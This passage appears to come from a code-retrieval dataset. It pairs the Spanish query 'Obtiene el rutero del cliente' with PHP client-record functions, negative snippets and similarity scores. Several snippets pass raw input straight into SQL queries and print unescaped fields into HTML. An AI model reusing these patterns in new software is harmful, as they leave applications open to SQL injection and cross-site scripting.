\"</TD>\\n\";\n\t\t$str.= \"</TR>\\n\";\n\t\t$str.= \"<TR>\\n\";\n\t\t$str.= \"<TD class=\\\"clienti_show_header\\\">\\n\";\n\t\t$str.= \"Codice Fiscale\\n\";\n\t\t$str.= \"</TD>\\n\";\n\t\t$str.= \" <TD class=\\\"clienti_show\\\">\\n\";\n\t\t$str.= $ro['codfisc'];\n\t\t$str.= \"</TD>\\n\";\n\t\t$str.= \"</TR>\\n\";\n\t\t$str.= \"<TR>\\n\";\n\t\t$str.= \"<TD class=\\\"clienti_show_header\\\">\\n\";\n\t\t$str.= \"Citt&agrave;\\n\";\n\t\t$str.= \"</TD>\\n\";\n\t\t$str.= \" <TD class=\\\"clienti_show\\\">\\n\";\n\t\t$str.= citta_stampa($ro['id_citta']);\n\t\t\n\t\t$str.= \"</TD>\";\n\t\t$str.= \"</TR>\";\n\t\t$str.= \"<TR>\";\n\t\t$str.= \"<TD class=\\\"clienti_show_header\\\">\";\n\t\t$str.= \"Via\";\n\t\t$str.= \"</TD>\";\n\t\t$str.= \" <TD class=\\\"clienti_show\\\">\";\n\t\t$str.= $ro['via'];\n\t\t$str.= \"</TD>\";\n\t\t$str.= \"</TR>\";\n\t\t$str.= \"<TR>\";\n\t\t$str.= \"<TD class=\\\"clienti_show_header\\\">\";\n\t\t$str.= \"Telefono Fisso\";\n\t\t$str.= \"</TD>\";\n\t\t$str.= \" <TD class=\\\"clienti_show\\\">\";\n\t\t$str.= $ro['tel_fisso'];\n\t\t$str.= \"</TD>\";\n\t\t$str.= \"</TR>\";\n\t\t$str.= \"<TR>\";\n\t\t$str.= \"<TD class=\\\"clienti_show_header\\\">\";\n\t\t$str.= \"Telefono Cellulare\";\n\t\t$str.= \"</TD>\";\n\t\t$str.= \" <TD class=\\\"clienti_show\\\">\";\n\t\t$str.= $ro['tel_mobile'];\n\t\t$str.= \"</TD>\";\n\t\t$str.= \"</TR>\";\n\t\t$str.= \"<TR>\";\n\t\t$str.= \"<TD class=\\\"clienti_show_header\\\">\";\n\t\t$str.= \"Note\";\n\t\t$str.= \"</TD>\";\n\t\t$str.= \" <TD class=\\\"clienti_show\\\">\";\n\t\t$str.= $ro['nota'];\n\t\t$str.= \"</TD>\";\n\t\t$str.= \"</TR>\";\n\t\t$str.= \"<TR>\";\n\t\t$str.= \"<TD class=\\\"clienti_show_header\\\">\";\n\t\t$str.= \"Inserito Da\";\n\t\t$str.= \"</TD>\";\n\t\t$str.= \" <TD class=\\\"clienti_show\\\">\";\n\t\t$str.= idUtenteToNome($ro['id_utente_ins']);\n\t\t$str.= \"</TD>\";\n\t\t$str.= \"</TR>\";\n\t\t$str.= \"</TABLE>\";\n\t\t\n\t\t$str.=\"</div>\";\n\n\t}\n\telse {\n\t\t$str.=\"<center>Nessun Cliente selezionato</center>\";\n\t}\n\treturn $str;\n}", "public function cliente() {\r\n\t\treturn $this->belongsTo('App\\Cliente');\r\n\t}", "public static function getClient($id){\n return (new Database('cliente'))->select('id = '.$id)->fetchObject(self::class);\n }", "public function getClient()\r\n {\r\n \t$this->db->from('vclient');\r\n \t$query = $this->db->get();\r\n \treturn $query->result();\r\n\r\n }", "public function comClientes(Request $request)\n {\n $cliente = Cliente::pluck('name', 'nombre', 'apellido1');\n return $cliente;\n }", "public function getIndirizzoClinica() {\r\n\r\n return $this->_via . \" \" . $this->_numeroCivico . \" \" . $this->_localita . \" \" . $this->_provincia;\r\n }", "public function getCedente() {\n return $this->oCedente;\n }", "public function getEmailCliente($clioid) {\r\n\r\n $clioid = $clioid ? $clioid : \"NULL\";\r\n\r\n $sql = \"SELECT Coalesce(prehemail_cliente, cliemail) AS prehemail_cliente\r\n FROM clientes\r\n left JOIN pre_rescisao\r\n ON presclioid = clioid \r\n LEFT JOIN pre_rescisao_hist \r\n ON prehpresoid = presoid \r\n WHERE clioid = $clioid \r\n ORDER BY prehdata DESC \r\n LIMIT 1\";\r\n\r\n $result = $this->_fetchAssoc(pg_query($this->_adapter, $sql));\r\n\r\n return $result ? $result['prehemail_cliente'] : ''; \r\n }" ]
[ "0.739257", "0.72925794", "0.7164855", "0.712227", "0.71154654", "0.70910746", "0.70649344", "0.7041795", "0.70335627", "0.70205545", "0.7004748", "0.69522804", "0.6882455", "0.68754077", "0.6823455", "0.6813117", "0.6778424", "0.6774241", "0.6763581", "0.67402273", "0.6739922", "0.6737381", "0.6736825", "0.6736825", "0.6736825", "0.6717356", "0.6716794", "0.6695683", "0.66816646", "0.66587675", "0.6622843", "0.6589045", "0.6583716", "0.6582419", "0.6551492", "0.6548168", "0.6544865", "0.65448153", "0.6534252", "0.6526265", "0.65118885", "0.65034205", "0.6490692", "0.648677", "0.64684075", "0.6463166", "0.6460962", "0.64603865", "0.6457899", "0.6450864", "0.64487207", "0.6414926", "0.6399935", "0.6393106", "0.6391259", "0.63810813", "0.63810813", "0.638099", "0.6366062", "0.6359253", "0.63545036", "0.6345407", "0.6337473", "0.6336078", "0.6320766", "0.63200986", "0.63179725", "0.629135", "0.628705", "0.62868047", "0.6285809", "0.628446", "0.62743425", "0.6264522", "0.62624377", "0.6261957", "0.6255847", "0.62544006", "0.6243144", "0.623429", "0.62309915", "0.6227609", "0.62239224", "0.6223314", "0.622068", "0.62111163", "0.62074596", "0.62045723", "0.62045723", "0.62037075", "0.6196971", "0.6186487", "0.6181145", "0.6169621", "0.6163024", "0.61465514", "0.61407286", "0.61407214", "0.6138614", "0.6135754", "0.61318207" ]
0.0
-1
Obtiene el rutero del cliente
function ObtieneRutero($CardCode){ if($this->con->conectar()==true){ return mysql_query("SELECT * FROM `Ruteros` WHERE `CardCode` = '".$CardCode."'"); } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function cl_rhconsignadomovimentoservidorrubrica() { \n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"rhconsignadomovimentoservidorrubrica\"); \n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }", "public function cliente_get(){\n\t\t$cliente_id = $this->uri->segment(3);\n\n\t\t//validar el cliente id\n\t\tif (!isset($cliente_id)) {\n\t\t\t$respuesta = array(\n\t\t\t\t'err'=>TRUE,\n\t\t\t\t'mensaje'=>'Es necesario el id del cliente'\n\t\t\t);\n\n\t\t\t$this->response($respuesta, REST_Controller::HTTP_BAD_REQUEST);\n\t\t}\n\n\t\t//lo paso al modelo\n\t\t$cliente = $this->Cliente_model->get_cliente($cliente_id);\n\n\t\t//cargo, valido y lo devuelto para que se muestre\n\t\tif(isset($cliente)){\n\t\t\t$respuesta=array(\n\t\t\t\t'err'=>FALSE,\n\t\t\t\t'mensaje'=>'Registro cargado correctamente',\n\t\t\t\t'cliente'=>$cliente\n\t\t\t);\n\n\t\t\t$this->response($respuesta);\n\t\t}else{\n\t\t\t$respuesta=array(\n\t\t\t\t'err'=>TRUE,\n\t\t\t\t'mensaje'=>'El registro con el id '.$cliente_id.', no exste',\n\t\t\t\t'cliente'=>null\n\t\t\t);\n\t\t\t$this->response($respuesta, REST_Controller::HTTP_NOT_FOUND);\n\t\t}\n\t}", "static public function ctrRutaServidor(){\n\n\t\treturn \"https://backend.teamblack4ever.com/\";\n\t\n\t}", "public function getCliente();", "public function getRecurso_id()\n {\n return $this->recurso_id;\n }", "public function recuperaToken()\n {\n // por eso para propositos de prueba solo se usara el primer cliente\n $this->cliente=Cliente::find(1)->token;\n }", "public static function obtenerRutaServidor()\n {\n return \"http://localhost/backend/\";\n\n }", "public function getIdcliente() {\n\t\t\t\treturn $this->id_cliente ?? \"Id do Cliente não solicitado !!\";\n\t\t\t}", "function modificarCliente(){\n\t\t$this->procedimiento='rec.ft_cliente_ime';\n\t\t$this->transaccion='REC_CLI_MOD';\n\t\t$this->tipo_procedimiento='IME';\n\t\t\t\t\n\t\t//Define los parametros para la funcion\n\t\t$this->setParametro('id_cliente','id_cliente','int4');\n\t\t$this->setParametro('genero','genero','varchar');\n\t\t$this->setParametro('ci','ci','varchar');\n\t\t$this->setParametro('email','email','varchar');\n\t\t$this->setParametro('email2','email2','varchar');\n\t\t$this->setParametro('direccion','direccion','varchar');\n\t\t$this->setParametro('celular','celular','varchar');\n\t\t$this->setParametro('nombre','nombre','varchar');\n\t\t$this->setParametro('lugar_expedicion','lugar_expedicion','varchar');\n\t\t$this->setParametro('apellido_paterno','apellido_paterno','varchar');\n\t\t$this->setParametro('telefono','telefono','varchar');\n\t\t$this->setParametro('ciudad_residencia','ciudad_residencia','varchar');\n\t\t$this->setParametro('id_pais_residencia','id_pais_residencia','int4');\n\t\t$this->setParametro('nacionalidad','nacionalidad','varchar');\n\t\t$this->setParametro('barrio_zona','barrio_zona','varchar');\n\t\t$this->setParametro('estado_reg','estado_reg','varchar');\n\t\t$this->setParametro('apellido_materno','apellido_materno','varchar');\n\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "public function getIdCliente(){\r\n return $this->idCliente;\r\n }", "public function ctrRutaServidor(){\n\n return 'http://localhost:8088/anunciosahagun/confAdmin/';\n }", "function cl_clientesmodulosproc() { \n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"clientesmodulosproc\"); \n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }", "function getIdCliente()\r\n\t {\r\n\t\t return $this->id_cliente;\r\n\t }", "public function getCodigoClient()\n {\n return $this->codigo_client;\n }", "public function getidcliente(){\n\t\treturn $this->_idcliente;\n\t}", "public function getCodCliente()\n {\n return $this->codCliente;\n }", "public function addTbhotelCliente()\n { \n $str=\"\";\n $cnx= dbcon();\n $str = \"Call spnew_tbhotelCliente('$this->nitHotel', $this->idCiudad, '$this->nomHotel', '$this->dirHotel', '$this->telHotel1', '$this->telHotel2', '$this->correoHotel', $this->tipoHotel, '$this->Administrador', $this->idRedes, $this->aforo, $this->tipoHabitaciones, $this->status);\";\n $rr =mysqli_query($cnx,$str); \n $row=mysqli_fetch_array($rr); \n return $row['rta'];\n }", "public function getRechazado() {\n return $this->rechazado;\n }", "public function getCodigoCliente()\n {\n return $this->codigoCliente;\n }", "public function getCodigoCliente()\n {\n return $this->codigoCliente;\n }", "public function getCodigoCliente()\n {\n return $this->codigoCliente;\n }", "public function seeUrlClient()\n {\n $this->get('/clientes')\n \t->assertStatus(200);\n $this->get('/clientes/crear')\n \t->assertStatus(200);\n $this->post('/clientes')\n \t->assertStatus(200);\n $this->get('/clientes/1')\n \t->assertStatus(200);\n $this->get('/clientes/1/editar')\n \t->assertStatus(200);\n $this->put('/clientes/1')\n \t->assertStatus(200);\n $this->delete('/clientes/1')\n \t->assertStatus(200);\n }", "function eliminarCliente(){\n\t\t$this->procedimiento='rec.ft_cliente_ime';\n\t\t$this->transaccion='REC_CLI_ELI';\n\t\t$this->tipo_procedimiento='IME';\n\t\t\t\t\n\t\t//Define los parametros para la funcion\n\t\t$this->setParametro('id_cliente','id_cliente','int4');\n\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "public function primerCliente($id_usuario,$nombreE,$rfcE,$cpE,$correo1E,$observacionesE,$fijo,$logo){\r\n\t\t$sql = \"INSERT INTO tbl_clientesclientes (id_usuario,logo,nombreE,rfcE,cpE,correo1E,observacionesE,estatus,fijo)VALUES('$id_usuario','$logo','$nombreE','$rfcE','$cpE','$correo1E','$observacionesE','1','$fijo')\";\r\n return ejecutarConsulta($sql); \t\r\n\t}", "static public function ctrBorrarCliente(){\n\n\t\tif(isset($_GET[\"idCliente\"])){\n\n\t\t\t$tabla =\"cliente\";\n\t\t\t$datos = $_GET[\"idCliente\"];\n\n\t\t\tif($_GET[\"fotoCliente\"] != \"\"){\n\n\t\t\t\tunlink($_GET[\"fotoCliente\"]);\n\t\t\t\trmdir('vistas/img/clientes/'.$_GET[\"cliente\"]);\n\n\t\t\t}\n\n\t\t\t$respuesta = ModeloClientes::mdlBorrarCliente($tabla, $datos);\n\n\t\t\tif($respuesta == \"ok\"){\n\n\t\t\t\techo'<script>\n\n\t\t\t\tswal.fire({\n\t\t\t\t\t type: \"success\",\n\t\t\t\t\t title: \"El Cliente ha sido borrado correctamente\",\n\t\t\t\t\t showConfirmButton: true,\n\t\t\t\t\t confirmButtonText: \"Cerrar\"\n\t\t\t\t\t }).then(function(result){\n\t\t\t\t\t\t\t\tif (result.value) {\n\n\t\t\t\t\t\t\t\twindow.location = \"cliente\";\n\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t})\n\n\t\t\t\t</script>';\n\n\t\t\t}\t\t\n\n\t\t}\n\n\t}", "public function getNomeCliente(){/*Retorna o nome_cliente*/\n\t\t\treturn $this-> nome_cliente;\n\t\t}", "function obtenidcliente($rfc){\n\t$funcbase = new dbutils;\n/*** conexion a bd ***/\n $mysqli = $funcbase->conecta();\n if (is_object($mysqli)) {\n\t\t$req = \"SELECT idclientes FROM clientes WHERE rfc = '\" \n \t.$rfc.\"'\"; \n \n \t\t$idcliente = $mysqli->query($req)->fetch_object()->idclientes;\n } else {\n die (\"<h1>'No se establecio la conexion a bd'</h1>\");\n }\n\t\t\n /* liberar la serie de resultados */\n /* cerrar la conexion */\n\t mysqli_close($mysqli);\n\t\t\n\treturn $idcliente;\n}", "public function getCliente()\n {\n return $this->cliente;\n }", "public function getcliente()\r\n {\r\n return $this->cliente;\r\n }", "public function getNomClient() {\n return $this->nomClient;\n }", "public function hash_cliente(){\n return md5($_SERVER['REMOTE_ADDR'].gethostbyaddr($_SERVER['REMOTE_ADDR']).$_SERVER['HTTP_USER_AGENT']);\n }", "public function getNom_client()\n {\n return $this->nom_client;\n }", "public function postClientInfo() {\n\n\t\t$who = '';\n\t\tif(!empty(Request::input('who'))) {\n\t\t\t$who = Request::input('who');\n\t\t}\n\n\t\treturn $this->clientInfo(0, $who);\n\t}", "public function obtienenumeroAction()\n {\n $this->disableAutoRender();\n\n /* Recibo parámetros */\n $tipo_documento_id = $this->_getParam('tipo_documento_id');\n $dependencia_id = $this->_getParam('dependencia_id');\n $tipo = $this->_getParam('tipo');\n $periodo = date(\"Y\");\n \n /* Obtengo el número de doc que corresponde según el tipo de documento */\n $modelCorrelativo = new Gidoc_Model_TiposdocumentocorrelativoMapper();\n \n $numero = $modelCorrelativo->getNumeroCorrelativo(0, $tipo, $tipo_documento_id, \n $dependencia_id, \n $this->_usuario->id, \n $periodo, 1);\n \n /* Devuelvo el id del vehículo */\n echo $numero;\n }", "function cl_db_projetoscliente() { \n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"db_projetoscliente\"); \n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }", "public function getCodServico()\n {\n return $this->cod_servico;\n }", "function redirecionaClienteParaDepartamentoTecnologia($cliente)\n{\n\n # montando URL\n $url =\n \"index.php/por/chat/startchat/(leaveamessage)/true?prefill%5Busername%5D={$cliente['razao_social']}&value_items_admin[0]={$cliente['duvida']}&value_items_admin[1]={$cliente['nome_usuario']}&value_items_admin[2]={$cliente['conta_contrato']}&value_items_admin[3]={$cliente['razao_social']}&value_items_admin[4]={$cliente['cnpj']}&value_items_admin[5]=0&nome_departamento=Tecnologia&codigo_ticket=0&novo_erp={$cliente['novo_erp']}&prefill%5Bphone%5D=2&value_items_admin[6]={$cliente['telefone']}&value_items_admin[7]=0\";\n\n # redirecionando cliente para o colaborador no chat teste\n echo json_encode(['url' => 'http://192.168.0.47:9999/' . $url], JSON_UNESCAPED_UNICODE);\n\n # redirecionando cliente para o colaborador no chat produção\n #echo json_encode(['url' => 'https://chat.avancoinfo.net/' . $url], JSON_UNESCAPED_UNICODE);\n\n exit;\n}", "function insertarCliente(){\n\t\t$this->procedimiento='rec.ft_cliente_ime';\n\t\t$this->transaccion='REC_CLI_INS';\n\t\t$this->tipo_procedimiento='IME';\n\t\t\t\t\n\t\t//Define los parametros para la funcion\n\t\t$this->setParametro('genero','genero','varchar');\n\t\t$this->setParametro('ci','ci','varchar');\n\t\t$this->setParametro('email','email','varchar');\n\t\t$this->setParametro('email2','email2','varchar');\n\t\t$this->setParametro('direccion','direccion','varchar');\n\t\t$this->setParametro('celular','celular','varchar');\n\t\t$this->setParametro('nombre','nombre','varchar');\n\t\t$this->setParametro('lugar_expedicion','lugar_expedicion','varchar');\n\t\t$this->setParametro('apellido_paterno','apellido_paterno','varchar');\n\t\t$this->setParametro('telefono','telefono','varchar');\n\t\t$this->setParametro('ciudad_residencia','ciudad_residencia','varchar');\n\t\t$this->setParametro('id_pais_residencia','id_pais_residencia','int4');\n\t\t$this->setParametro('nacionalidad','nacionalidad','varchar');\n\t\t$this->setParametro('barrio_zona','barrio_zona','varchar');\n\t\t$this->setParametro('estado_reg','estado_reg','varchar');\n\t\t$this->setParametro('apellido_materno','apellido_materno','varchar');\n\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "public function getClient();", "public function getClient();", "public function getIdCliente()\n {\n return $this->idCliente;\n }", "public function getCdOrdemServicoReparo()\n {\n return $this->cd_ordem_servico_reparo;\n }", "public function getClient() {}", "public function getNomeCliente()\n {\n return $this->nomeCliente;\n }", "function listarClienteLibro()\n {\n $this->procedimiento='rec.ft_cliente_sel';\n $this->transaccion='REC_RELIBRO_SEL';\n $this->tipo_procedimiento='SEL';//tipo de transaccion\n\n $this->setParametro('id_oficina_registro_incidente','id_oficina_registro_incidente','integer');\n $this->setParametro('fecha_ini','fecha_ini','date');\n $this->setParametro('fecha_fin','fecha_fin','date');\n $this->setCount(false);\n\n $this->captura('id_reclamo','int4');\n $this->captura('nro_frd','varchar');\n $this->captura('correlativo_preimpreso_frd','int4');\n $this->captura('fecha_hora_incidente','timestamp');\n $this->captura('fecha_hora_recepcion','timestamp');\n $this->captura('fecha_hora_recepcion_sac','date');\n $this->captura('detalle_incidente','text');\n $this->captura('nombre','text');\n $this->captura('celular','varchar');\n $this->captura('telefono','varchar');\n $this->captura('nombre_incidente','varchar');\n $this->captura('sub_incidente','varchar');\n\n //Ejecuta la instruccion\n $this->armarConsulta();\n\t\t//var_dump($this->respuesta); exit;\n $this->ejecutarConsulta();\n //var_dump($this->respuesta); exit;\n //Devuelve la respuesta\n return $this->respuesta;\n\n }", "public function cercaDaNome(){\n if(($_SERVER['REQUEST_METHOD']==\"POST\")){\n $view = new VRisultati();\n $nome = $view->recuperaNome(); //nome inserito nella barra di ricerca\n $pm = FPersistentManager::getInstance();\n $ricette = $pm->search(\"ricetta\", $nome, \"nome\");\n if($ricette!=null){\n $msg = \"\";\n } else {\n $msg = \"Non ci sono ricette che soddisfano questi parametri\";\n }\n $view->mostraRisultati($ricette, $msg);\n\n }\n else{\n header('HTTP/1.1 405 Method Not Allowed');\n header('Allow: POST');\n }\n\n\n }", "function getClientURL($id, $username, $businessSector, $name, $phone, $email, $fax, $search)\n{\n $url = getAPIBaseDomain().'/api/Client/'.$id.'?username='.$username.'&businessSector='.$businessSector.'&name='.$name.'&phone='.$phone.'&email='.$email.'&fax='.$fax.'&search='.$search;\n return $url;\n}", "public function getRequerente()\n {\n return $this->requerente;\n }", "function cocinar_registro_cliente() {\n\t\tglobal $bd;\n\t\tglobal $x_idcliente;\n\t\tglobal $x_idpedido;\n\n\t\t\n\t\t// $x_arr_cliente = $_POST['p_cliente'];\n\t\t// $datos_cliente = $x_arr_cliente['cliente'];\n\t\t$datos_cliente = $_POST['p_cliente'];\n\n\t\t$nomclie=$datos_cliente['nombres'];\n\t\t$idclie=$datos_cliente['idcliente'];\n\t\t$num_doc=$datos_cliente['num_doc'];\n\t\t$direccion=$datos_cliente['direccion'];\n\t\t$f_nac=$datos_cliente['f_nac'];\n\t\t// $idpedidos=$x_arr_cliente['i'] == '' ? $x_idpedido : $x_arr_cliente['i'];\n\n\t\tif($idclie==''){\n\t\t\tif($nomclie==''){//publico general\n\t\t\t\t$idclie=0;\n\t\t\t}else{\n\t\t\t\t$sql=\"insert into cliente (idorg,nombres,direccion,ruc,f_nac)values(\".$_SESSION['ido'].\",'\".$nomclie.\"','\".$direccion.\"','\".$num_doc.\"','\".$f_nac.\"')\";\n\t\t\t\t$idclie=$bd->xConsulta_UltimoId($sql);\n\t\t\t}\n\t\t} else {\n\t\t\t// update cliente\n\t\t\t$sql=\"update cliente set nombres='\".$nomclie.\"',ruc='\".$num_doc.\"',direccion='\".$direccion.\"' where idcliente = \".$idclie;\n\t\t\t$bd->xConsulta_NoReturn($sql);\n\t\t}\n\n\t\t// $bd->xConsulta_NoReturn($sql);\n\t\t// $sql=\"update pedido set idcliente=\".$idclie.\" where idpedido in (\".$idpedidos.\")\";\n\t\t\n\t\t$x_idcliente = $idclie;\n\t\t$x_idpedido = $idpedidos;\n\n\t\techo $idclie;\n\n\t\t// $rptclie = json_encode(array('idcliente' => $idclie));\n\t\t// print $rptclie.'|';\n\n\t\t// 031218 // cambio: ahora se graba primero el cliente se devuelve el idcliete, \n\n\t\t// $GLOBALS['x_idcliente'] = $idclie;\n\t\t// return $x_idcliente;\n\t\t// echo $idclie;\n\t}", "public static function crtCrearCliente(){\n\n if (isset($_POST['nuevoCliente'])) {\n \n if (preg_match('/^[a-zA-Z0-9ñÑáéíóúÁÉÍÓÚ ]+$/', $_POST['nuevoCliente']) &&\n preg_match('/^[a-zA-Z0-9]+$/', $_POST['nuevoRfc']) &&\n preg_match('/^[^0-9][a-zA-Z0-9_]+([.][a-zA-Z0-9_]+)*[@][a-zA-Z0-9_]+([.][a-zA-Z0-9_]+)*[.][a-zA-Z]{2,4}$/', $_POST['nuevoEmail']) &&\n preg_match('/^[()\\-0-9 ]+$/', $_POST['nuevoTelefono']) && \n\t\t\t preg_match('/^[#\\.\\,\\-a-zA-Z0-9ñÑáéíóúÁÉÍÓÚ ]+$/', $_POST['nuevaDireccion'])){\n\n /*====================Comentario====================\n VALIDAR SI EXISTE RFC\n ==================================================*/ \n\n $tabla = \"clientes\";\n $item = \"rfc\";\n $valor = strtoupper($_POST['nuevoRfc']);\n\n $validar = ModeloClientes::mdlMostrarClientes($tabla, $item, $valor);\n \n if ($validar['rfc'] == $valor) {\n $datos = [];\n echo '<script>\n \n\n\t\t\t\t\tswal.fire({\n\n\t\t\t\t\t\ttype: \"error\",\n\t\t\t\t\t\ttitle: \"¡El RFC del cliente ya existe en la base de datos!\",\n\t\t\t\t\t\tshowConfirmButton: true,\n\t\t\t\t\t\tconfirmButtonText: \"Cerrar\"\n\n\t\t\t\t\t}).then(function(result){\n\n\t\t\t\t\t\tif(result.value){\n\t\t\t\t\t\t\n\t\t\t\t\t\t\twindow.location = \"clientes\";\n\n\t\t\t\t\t\t}\n\n\t\t\t\t\t});\n\t\t\t\t </script>';\n die();\n }\n \n $rfc = strtoupper($_POST['nuevoRfc']);\n \n $tabla = 'clientes';\n $datos = array('nombre' => $_POST['nuevoCliente'],\n 'rfc' => $rfc,\n 'email' => $_POST['nuevoEmail'],\n 'telefono' => $_POST['nuevoTelefono'],\n 'direccion' => $_POST['nuevaDireccion'],\n 'fecha_nacimiento' => $_POST['nuevaFechaNacimiento']);\n\n $respuesta = ModeloClientes::mdlIngresarCliente($tabla, $datos);\n\n if ($respuesta == \"ok\") {\n\n echo '<script>\n\n\t\t\t\t\tswal.fire({\n\t\t\t\t\t\t type: \"success\",\n\t\t\t\t\t\t title: \"El cliente ha sido guardado correctamente\",\n\t\t\t\t\t\t showConfirmButton: true,\n\t\t\t\t\t\t confirmButtonText: \"Cerrar\"\n\t\t\t\t\t\t }).then(function(result){\n\t\t\t\t\t\t\t\t\tif (result.value) {\n\n\t\t\t\t\t\t\t\t\twindow.location = \"clientes\";\n\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t})\n\n\t\t\t\t\t</script>';\n \n }\n\n }else{\n echo '<script>\n\n\t\t\t\t\tswal.fire({\n\t\t\t\t\t\t type: \"error\",\n\t\t\t\t\t\t title: \"¡El cliente no puede ir vacío o llevar caracteres especiales!\",\n\t\t\t\t\t\t showConfirmButton: true,\n\t\t\t\t\t\t confirmButtonText: \"Cerrar\"\n\t\t\t\t\t\t }).then(function(result){\n\t\t\t\t\t\t\tif (result.value) {\n\n\t\t\t\t\t\t\twindow.location = \"clientes\";\n\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t})\n\n\t\t\t \t</script>';\n \n }\n \n }\n\n }", "function validarCliente(){\n $this->procedimiento='rec.ft_cliente_ime';\n $this->transaccion='CLI_VALIDAR_GET';\n $this->tipo_procedimiento='IME';//tipo de transaccion\n $this->setCount(false);\n $this->setParametro('nombre','nombre','varchar');\n $this->setParametro('apellido','apellido','varchar');\n $this->setParametro('genero','genero','varchar');\n $this->setParametro('ci','ci','varchar');\n\n\n $this->captura('v_valid','varchar');\n $this->captura('v_desc_func','varchar');\n\n\n //Ejecuta la instruccion\n $this->armarConsulta();\n //var_dump($this->respuesta); exit;\n $this->ejecutarConsulta();\n //Devuelve la respuesta\n return $this->respuesta;\n }", "public function getClient(): string\n {\n return $this->client;\n }", "function cl_rechumano() { \n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"rechumano\"); \n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }", "public function TresorieClient() {\n \n $em = $this->getDoctrine()->getManager();\n $entityClient = $em->getRepository('RuffeCardUserGestionBundle:Client')->findClientNoPaiment();\n return $this->render ( \"RuffeCardTresorieBundle:Default:clientPaiement.html.twig\", array ('Client'=>$entityClient));\n \n }", "public function getUr() {}", "public function getRetToClientId() {\n return $this->_retToClientId;\n }", "public static function obtenerRuta()\n {\n return \"http://localhost/frontend/\";\n }", "function cl_tipovistoriasrec() { \n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"tipovistoriasrec\"); \n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }", "public function getClient()\n {\n return $this->neo;\n }", "public function getClient(){ return UserData::getById($this->client_id); }", "function tipo_cliente($id_tipo_cliente=\"\"){\n\t$db = new db(DB_USER,DB_PASSWORD,DB_NAME,DB_HOST);\n\tif ($id_tipo_cliente==\"\") {\n\t\treturn \"Tutti i Clienti\";\n\t}\n\t$q=\"SELECT * FROM tipo_cliente WHERE id_tipo_cliente=$id_tipo_cliente\";\n\t$r=$db->query($q);\n\tif (!$r) {\n\t\treturn \"Dato Assente\";\n\t}else{\n\t\t$ro= mysql_fetch_array($r);\n\t\treturn $ro['nome'];\n\t}\n}", "static public function ctrMostrarIdCliente($valor){\n\n $respuesta = ModeloClientes::mdlMostrarIdCliente($valor);\n\t\treturn $respuesta;\n }", "public function getClientes_idclient(){\n return $this->clientes_idclient;\n }", "function getSorpresa(){\r\n return $this->sorpresa;\r\n }", "function cl_rechumanorelacao() { \n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"rechumanorelacao\"); \n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }", "public static function crtEditarCliente()\n {\n\n if (isset($_POST['idCliente'])) {\n\n if (preg_match('/^[a-zA-Z0-9ñÑáéíóúÁÉÍÓÚ ]+$/', $_POST['editarCliente']) &&\n preg_match('/^[a-zA-Z0-9]+$/', $_POST['editarRfc']) &&\n preg_match('/^[^0-9][a-zA-Z0-9_]+([.][a-zA-Z0-9_]+)*[@][a-zA-Z0-9_]+([.][a-zA-Z0-9_]+)*[.][a-zA-Z]{2,4}$/', $_POST['editarEmail']) &&\n preg_match('/^[()\\-0-9 ]+$/', $_POST['editarTelefono']) &&\n preg_match('/^[#\\.\\,\\-a-zA-Z0-9ñÑáéíóúÁÉÍÓÚ ]+$/', $_POST['editarDireccion'])){\n\n $rfc = strtoupper($_POST['editarRfc']);\n\n $tabla = 'clientes';\n $datos = array(\n 'id' => $_POST['idCliente'],\n 'nombre' => $_POST['editarCliente'],\n 'rfc' => $rfc,\n 'email' => $_POST['editarEmail'],\n 'telefono' => $_POST['editarTelefono'],\n 'direccion' => $_POST['editarDireccion'],\n 'fecha_nacimiento' => $_POST['editarFechaNacimiento']\n );\n\n $respuesta = ModeloClientes::mdlEditarCliente($tabla, $datos);\n\n if ($respuesta == \"ok\") {\n\n echo '<script>\n\n\t\t\t\t\tswal.fire({\n\t\t\t\t\t\t type: \"success\",\n\t\t\t\t\t\t title: \"El cliente ha sido cambiado correctamente\",\n\t\t\t\t\t\t showConfirmButton: true,\n\t\t\t\t\t\t confirmButtonText: \"Cerrar\"\n\t\t\t\t\t\t }).then(function(result){\n\t\t\t\t\t\t\t\t\tif (result.value) {\n\n\t\t\t\t\t\t\t\t\twindow.location = \"clientes\";\n\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t})\n\n\t\t\t\t\t</script>';\n }\n } else {\n echo '<script>\n\n\t\t\t\t\tswal.fire({\n\t\t\t\t\t\t type: \"error\",\n\t\t\t\t\t\t title: \"¡El cliente no puede ir vacío o llevar caracteres especiales!\",\n\t\t\t\t\t\t showConfirmButton: true,\n\t\t\t\t\t\t confirmButtonText: \"Cerrar\"\n\t\t\t\t\t\t }).then(function(result){\n\t\t\t\t\t\t\tif (result.value) {\n\n\t\t\t\t\t\t\twindow.location = \"clientes\";\n\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t})\n\n\t\t\t 